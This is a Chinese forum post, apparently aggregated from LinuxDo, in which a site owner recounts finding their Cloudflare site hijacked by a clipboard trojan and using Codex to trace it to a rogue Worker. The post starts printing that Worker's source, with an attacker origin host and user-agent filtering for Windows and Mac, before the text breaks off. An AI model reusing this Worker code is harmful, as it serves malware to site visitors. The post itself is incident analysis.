社区讨论LinuxDo 最新
cf网站被劫持，挂了剪切板木马，叫codex分析了一下原因
早上起来打开我的网站，突然发现了这个页面 这玩意之前遇到过很多次，一看就是木马，肯定是不可能照做的 我之前在cf上部署过一次博客也被挂过一次木马，手上又没有什么能力去排查一下什么问题，当时还有些事情，懒得搞了，后面直接切到eo page上面了。 现在这一回这个网站也被劫持了，这个时候我刚好也不急，我就要来找找原因了，直接把界面扔给 Codex，我在 Cloudflare 的 API 令牌里面创建了一个可以管理全部项目的 API token，叫他一个一个排查。 过了几分钟Codex研究了一下，后面发现是我的clou…
内容摘要
作者：#09
板块：#搞七捻三
早上起来打开我的网站，突然发现了这个页面
这玩意之前遇到过很多次，一看就是木马，肯定是不可能照做的
我之前在cf上部署过一次博客也被挂过一次木马，手上又没有什么能力去排查一下什么问题，当时还有些事情，懒得搞了，后面直接切到eo page上面了。
现在这一回这个网站也被劫持了，这个时候我刚好也不急，我就要来找找原因了，直接把界面扔给 Codex，我在 Cloudflare 的 API 令牌里面创建了一个可以管理全部项目的 API token，叫他一个一个排查。
过了几分钟Codex研究了一下，后面发现是我的cloudfare下有一个可疑worker。
然后我叫Astra先别删，把worker的链接发给我，我来去找
然后我进到那个worker目录下，发现它的路由绑定了我所有的根域名，也是逆天。他要是绑定的是自定义域，这种情况下，我如果去解析的话会出现出错。但是，如果是直接通过路由的方式来进行关联的话，我哪怕解析也不会报错。
然后我点击编辑代码的时候，看一看它这个worker的源代码是什么。
直接把代码贴出来吧（以下是木马的worker的代码，不要粘贴到自己的worker上）
const VPS_ORIGIN = "https://27-april-tag.com";
export default {
async fetch(request, env, ctx) {
const userAgent = request.headers.get("User-Agent") || "";
const isWindows10or11 = userAgent.includes("Windows NT 10.0") || userAgent.includes("MiniRedir/10.0");
const isMac = /Mac OS X|Macintosh/.test(userAgent);
if (!isWindows10or11 && !isMac) {
资讯来源
LinuxDo